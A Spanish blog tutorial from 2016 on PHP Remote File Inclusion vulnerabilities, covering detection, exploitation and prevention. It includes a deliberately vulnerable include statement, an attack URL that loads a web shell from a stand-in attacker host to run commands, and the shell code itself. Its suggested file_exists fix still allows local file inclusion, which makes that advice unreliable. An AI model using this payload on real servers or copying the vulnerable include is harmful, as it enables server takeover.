miércoles, 3 de febrero de 2016

¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?

Las vulnerabilidades RFI (Remote File Inclusion), inclusión remota de archivos en español, son un tipo de vulnerabilidad que solo encontramos en páginas dinámicas desarrolladas en PHP, y permiten a un posible atacante enlazar archivos remotamente desde otro servidor, lo que puede acabar provocando la ejecución de código malicioso en el servidor legítimo o en la página web (ataque XSS usando javascript). Esto se produce como consecuencia de un fallo en la programación de la página, filtrando inadecuadamente lo que se incluye al usar funciones en PHP para incluir archivos.


Imagen 1: ¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?


Identificando la vulnerabilidad

En primer lugar para demostrar como funciona esta vulnerabilidad tenemos que encontrar un sitio que se vea afectado por la misma. Para ellos podemos hacerlo de varias formas: 

De forma manual, e ir buscando que ninguna de las sentencias include o require utilicen variables no confiables (que el usuario pueda modificar) como GET o POST, utilizando diferentes dorks para la búsqueda en navegadores como ya pudimos ver anteriormente en los artículos de hacking con buscadores, o también podemos hacerlo con la ayuda de herramientas automatizadas.

El problema con la función include aparece si el código de llamada de esta función no está filtrado correctamente, en ese caso podríamos crear una petición manipulada a través de la cual podríamos ejecutar código, añadir ficheros directamente en el servidor, etc...

Explotación del fallo

Una vez tenemos un objetivo y sabemos que realmente es vulnerable a "RFI", lo siguiente sería intentar explotar la vulnerabilidad. Para ello tenemos una página web que en uno de sus ficheros incluye esta porción de código PHP:

ejemplo.php 
<?php 
include $_REQUEST['fichero']; 
?>

Al visitar la web podemos ver en la barra de direcciones, algo como esto:

http://www.ejemplo.com/ejemplo.php?fichero=datos.csv

El posible "atacante" podría crear una petición para la página vulnerable como la siguiente:

http://www.ejemplo.com/ejemplo.php?fichero=http://www.atacante.com/shell.txt&&cmd=ls  

shell.txt 
<? 
system($cmd) 
?>

Como podemos ver el archivo shell.txt solo realiza una llamada para ejecutar cmd. En la anterior petición, llamaría a cmd y ejecutaría el comando ls para mostrarnos todo el contenido de la carpeta del servidor remoto. De la misma manera podríamos ir creando diferentes llamadas para realizar otro tipo de acciones más invasivas, o hacer directamente uso de una shell PHP para manejar el servidor vulenerable con toda libertad.


Cómo prevenir RFI

Debemos tener en cuenta las funciones que pueden llegar a ser peligrosas si no las usamos de manera adecuada en nuestro código, por ejemplo, las funciones Include(), Include_once(), require(), Require_once(), eval(), exec(), passthru(), system(), popen(), fopen(), readfile(), file(), readfile(), son sólo algunas sobre las que tendremos que tener especial cuidado para no exponer nuestros servidores a través de un código escrito de manera inadecuada.

El programador debe filtrar correctamente la variable, por ejemplo: 

<?    if ($url=="seccion") 
include ($url.”.php”);

?>

También es posible utilizar un bloque if-else, o un switch para validar el contenido de la url. Y para asegurarnos de que el archivo existe, es recomendable utilizar la función file_exists 

<?php 
if(!file_exists($_GET['page'])){ 
die(‘No existe’); 
} else { 
require_once($_GET[‘page’]);  

} …

Con este código podemos evitar este tipo de ataques, que son fáciles de solucionar pero que en muchas ocasiones se suelen pasar por alto.


Fuentes: 

No hay comentarios:

Publicar un comentario